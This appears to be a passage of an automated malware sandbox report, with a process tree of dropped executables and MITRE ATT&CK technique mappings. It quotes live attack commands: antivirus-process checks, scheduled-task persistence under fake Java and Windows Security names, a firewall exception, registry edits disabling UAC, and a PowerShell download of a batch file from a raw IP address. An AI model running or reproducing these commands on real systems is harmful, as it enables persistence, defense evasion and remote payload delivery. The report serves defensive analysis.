    PID:2500
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://sms-szfang.com/register
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:5796
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5796 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:5924
- - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:5380
- - C:\Users\Admin\AppData\Local\Temp\Files\DeliciousPart.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\DeliciousPart.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5640
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move Tall Tall.bat & Tall.bat
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:5788
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5816
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5824
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5904
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5912
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 349877
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5944
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "ORDINANCECHILDHOODCONVERTENDORSED" Booty
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5952
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Norwegian + ..\Mysql + ..\Tours + ..\Awareness + ..\Picking K
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5972
    - - C:\Users\Admin\AppData\Local\Temp\349877\Faced.pif
        
        Faced.pif K
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5984
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn "BioMind" /tr "wscript //B 'C:\Users\Admin\AppData\Local\BioTech Dynamics\BioMind.js'" /sc onlogon /F /RL HIGHEST
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6016
      - C:\Users\Admin\AppData\Local\Temp\349877\RegAsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\349877\RegAsm.exe
        6⤵
        Executes dropped EXE
        
        PID:3572
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 15
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5996
- - C:\Users\Admin\AppData\Local\Temp\Files\Identifications.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Identifications.exe"
    3⤵
    - Executes dropped EXE
    PID:3188
- - C:\Users\Admin\AppData\Local\Temp\Files\china.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\china.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:1636
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.funletters.net/readme.htm
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:4856
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4856 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:5020
- - C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe"
    3⤵
    - Executes dropped EXE
    PID:2140
- - C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3276
  - - C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe
      "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3344
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3392
- - C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Meeting.exe"
    3⤵
    - Executes dropped EXE
    PID:1616
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Icon.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Icon.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1684
- - C:\Users\Admin\AppData\Local\Temp\Files\444.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\444.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3128
  - - C:\Users\Admin\AppData\Roaming\conhost.exe
      "C:\Users\Admin\AppData\Roaming\conhost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      PID:3724
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4540
- - C:\Users\Admin\AppData\Local\Temp\Files\out.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\out.exe"
    3⤵
    - Executes dropped EXE
    PID:1156
- - C:\Users\Admin\AppData\Local\Temp\Files\pi.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\pi.exe"
    3⤵
    - Executes dropped EXE
    PID:4560
- - C:\Users\Admin\AppData\Local\Temp\Files\Documents.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Documents.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1732
- - C:\Users\Admin\AppData\Local\Temp\Files\ohtie89k.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ohtie89k.exe"
    3⤵
    - Executes dropped EXE
    PID:2428
  - - C:\ProgramData\windows.exe
      "C:\ProgramData\windows.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1584
  - - C:\ProgramData\service.exe
      "C:\ProgramData\service.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      PID:2240
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 1 /tn "service" /tr "C:\Users\Admin\AppData\Roaming\service.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3684
- - C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2268
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 52
      4⤵
      Program crash
      PID:2652
- - C:\Users\Admin\AppData\Local\Temp\Files\up.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\up.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks SCSI registry key(s)
    - Suspicious use of SetWindowsHookEx
    PID:3320
- - C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4252
  - - C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE
      "C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE" http://www.ojang.pe.kr/CALENDAR/DOWN/JEDITOR/JEDITOR.EXE "C:/Users/Admin/AppData/Local/Temp/Files/jeditor.exe" RUN
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2236
- - C:\Users\Admin\AppData\Local\Temp\Files\Java32.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Java32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4400
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1768
  - - C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
      "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:4184
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2568
- - C:\Users\Admin\AppData\Local\Temp\Files\Unit.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Unit.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4372
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 168
      4⤵
      Program crash
      PID:4228
- - C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4420
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3448
- - C:\Users\Admin\AppData\Local\Temp\Files\dropper64.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dropper64.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      PID:4776
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4776 -s 20
        5⤵
        
        PID:3928
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe"
      4⤵
      PID:4840
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4840 -s 184
        5⤵
        
        PID:5276
  - - C:\Windows\system32\audiodg.exe
      "C:\Windows\system32\audiodg.exe"
      4⤵
      PID:4792
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4792 -s 20
        5⤵
        
        PID:1000
- - C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1976
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CB0C.tmp\CB0D.tmp\CB0E.bat C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"
      4⤵
      PID:2236
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Access Token Manipulation: Create Process with Token
        Modifies Internet Explorer settings
        
        PID:2332
      - C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE" goto :target
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2056
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CD4E.tmp\CD4F.tmp\CD50.bat C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE goto :target"
        7⤵
        
        PID:6040
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:3332
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:5700
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:5780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        8⤵
        
        PID:5752
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        9⤵
        
        PID:1880
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.pornhub.com/
        8⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:3348
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3348 CREDAT:275457 /prefetch:2
        9⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:5796
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2304
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3680
- - C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
    3⤵
    PID:3140
- - C:\Users\Admin\AppData\Local\Temp\Files\cock.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3132
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4176
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4356
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2564
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2676
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:872
- C:\Program Files\Microsoft Games\minesweeper\minesweeper.exe
  "C:\Program Files\Microsoft Games\minesweeper\minesweeper.exe"
  2⤵
  - Drops desktop.ini file(s)
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  PID:5292

C:\Windows\system32\taskeng.exe
taskeng.exe {1571EEFF-3AA5-41DA-8E63-723BF43DBB63} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:4456
- C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
  "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4516
- C:\Users\Admin\AppData\Roaming\service.exe
  C:\Users\Admin\AppData\Roaming\service.exe
  2⤵
  - Executes dropped EXE
  PID:5612

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0xc4
1⤵
PID:6068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry